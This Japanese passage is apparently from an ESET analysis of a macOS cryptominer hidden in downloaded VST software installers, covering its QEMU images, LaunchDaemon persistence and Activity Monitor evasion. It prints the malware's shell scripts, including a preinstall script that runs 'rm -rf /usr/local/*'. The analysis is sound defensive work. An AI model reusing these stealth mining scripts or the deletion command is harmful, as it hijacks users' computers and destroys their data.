ESETはこれまで、このマルウェアの3つのmacOSバージョンを確認しています。そのすべてに、installerdata.dmgでQEMUを実行するために必要な依存関係が含まれており、ここからすべてのファイルが/usr/local/binにコピーされ、その過程で適切なアクセス許可（パーミッション）が設定されます。マイナーの各バージョンは一度に2つのイメージを実行でき、それぞれが128 MBのRAMと1つのCPUコアを使用します。常駐化は、RunAtLoadをtrueに設定して/Library/LaunchDaemonsにplistファイルを追加することによって実現します。また、KeepAliveをtrueに設定することで、プロセスが停止された場合にプロセスが再開されるようにします。各バージョンには、次のコンポーネントがあります。

1. QEMU Linuxイメージ
2. QEMUイメージを起動するためのシェルスクリプト
3. 起動時にシェルスクリプトを起動して、実行させ続けるために使用するデーモン
4. CPU使用率およびActivity Monitorプロセスが実行されているかどうかに基づいてマイニングを開始/停止できる、デーモンが付随したCPUモニターシェルスクリプト

このCPUモニタースクリプトは、デーモンをロードまたはアンロードすることによって、マイニングを開始または停止できます。Activity Monitorプロセスが実行されている場合、マイニングは停止します。それ以外の場合は、システムが何秒間アイドル状態になっているかをチェックします。

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

2分以上経過していると、マイニングを開始します。2分未満だった場合は、CPU使用率の合計をチェックします。

ps -A -o %cpu | awk '{s+=$1} END {print s }' 

その値をCPUコア数で割ります。

sysctl hw.logicalcpu |awk '{print $2 }') 

85%を超えている場合は、マイニングを停止します。スクリプト自体はバージョンごとに少し異なりますが、大まかな部分は同じです。

インストールが完了すると、すべてのマイナー関連のインストールファイルが削除されます。

ダウンロードされたアプリケーションパッケージ内のマイナーファイルは、全く難読化されておらず、別のパッケージに格納されていたりもしません。これらのファイルは、ソフトウェアと一緒に次の場所にインストールされます。

• /Library/Application Support/.Qemusys
• qemu-system-x86_64 - クリーンなQEMUバイナリ
• sys00_1-disk001.qcow2 - Linuxイメージ（1つ目）
• qemuservice - qemu-system-x86_64バイナリを介して1つ目のイメージを起動するシェルスクリプト（スクリプト1のリストを参照）
• /Library/Application Support/.System-Monitor
• system-monitor.daemon - system-monitorバイナリを介して1つ目のイメージを起動します
• /usr/local/bin
• .Tools-Service
• sys00_1-disk001.qcow2 - Linuxイメージ（2つ目）
• tools-service.daemon - tools-serviceバイナリを介して2つ目のイメージを起動します
• cpumonitor - アイドル時間とCPU使用率に基づいてマイニングを開始/停止します
• system-monitor - qemu-system-x86_64バイナリのコピー
• tools-service - qemu-system-x86_64バイナリのコピー
• /Library/LaunchDaemons
• com.buildtools.system-monitor.plist - system-monitor.daemonを起動します
• com.buildtools.tools-service.plist - tools-service.daemonを起動します
• com.modulesys.qemuservice.plist - qemuserviceを起動します
• com.systools.cpumonitor.plist - cpumonitorを起動します

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;

スクリプト1：qemuserviceシェルスクリプト

依存関係がコピーされると、すべてのマイナー関連デーモンが起動され、その後実際のソフトウェアがインストールされます。

• Activity Monitorプロセスが実行中の場合、qemuserviceはイメージを起動しません。実行中の場合には、起動元のplistをアンロードします。
• tools-service.daemonは、qemu-system-x86_64プロセスが実行されておらず、45分間スリープした後に限り、イメージを起動します。
• System-monitor.daemonは、Intel i5、i7、またはi9のCPUが検出された場合に限り、イメージを起動します。

これらのスクリプトは、名前とイメージパスが異なるだけで、同じコマンドを使用してQEMUイメージを起動します。 ESETでは、マイナーのバージョン1に関連する次のスクリーンショットを発見しました。

これはLittle Snitchからのもので、プロセスqemu-system-x86_64からの接続がブロックされたことを示しています。具体的には、hopto[.]org（無料のホスト名サービス）は、マイナーのバージョン1で使用されているC&Cです。

マイナーファイルは、ダウンロードしたアプリケーションパッケージ内のdata_installer.pkgに格納されています。dが最初にインストールされ、次にVSTソフトウェアがインストールされます。インストールの前に、以下のコマンドが実行されるとマイナーのバージョン1が削除されます。

rm -rf /usr/local/*

スクリプト2のリストにあるように、実行中のqemu-system-x86_64プロセスを検出した場合にのみ検出されます。

#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;

スクリプト2：バージョン1を削除するdata_installer.pkgプリインストールスクリプト

以下の一時ファイルが作成されます。

• /Users/Shared
• z1 - QEMUバイナリ
• z1.daemon - QEMUバイナリ（バージョン1のqemuservice）でQEMUイメージを起動します
• z1.qcow2 - QEMUイメージ
• z1.plist - z1.daemonを起動します
• z3 – CPUモニタースクリプト（バージョン1のcpumonitorとほとんど変わりません）
• z3.plist - z3の起動に使用されます
• randwd - ランダムな名前を生成します

依存関係がコピーされた後、マイナーがインストールされます。今回QEMUバイナリ、plist、およびディレクトリの名前は、randwdスクリプトでランダム化されます。マイナーがインストールされると、z1、z1.daemon、z1.qcow2、およびz1.plistの2つのコピーが作成されます。コピーごとに、次の処理が実行されます。

• ランダムな名前のディレクトリが、/Library/Application Supportに作成されます。
• QEMUバイナリz1の名前はディレクトリと同じで、/usr/local/binにコピーされます。
• z1.daemon（スクリプト3のリストを参照）とz1.qcow2は、ランダムな名前でこのディレクトリにコピーされます。
• z1.plistは、com..plistという名前で/Library/LaunchDaemonsにコピーされます。

z1.daemon、z1.plistz3、z3、およびz3.plistファイルはテンプレートとして機能します。これらのファイル内の他のスクリプト、バイナリ、plistsなどへの参照は、対応する生成されたランダムな名前に置き換えられます。 CPUモニター（z3）シェルスクリプトとそれに付随するplistファイルについても、ランダムな名前が選択されます。z3は/usr/local/binにコピーされ、plistはcom..plistという名前で/Library/LaunchDaemonsにコピーされます。

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;

スクリプト3：z1.daemonシェルスクリプト

バージョン2は、バージョン1よりも若干わかりやすく単純です。QEMUイメージは1つだけで、2つのコピーが作成されます。イメージ起動スクリプト、デーモン、およびcpumonitorについても同様です。バージョン2ではファイル名とディレクトリがランダム化されますが、インストール時にコマンドラインでaccel=hvfを指定して実行中プロセスをチェックするため、1回しかインストールできません。

これまでにESETが確認したバージョン2のアプリケーションでは、data_installer.pkgのSHA1ハッシュは常に39a7e86368f0e68a86cce975fd9d8c254a86ed93です。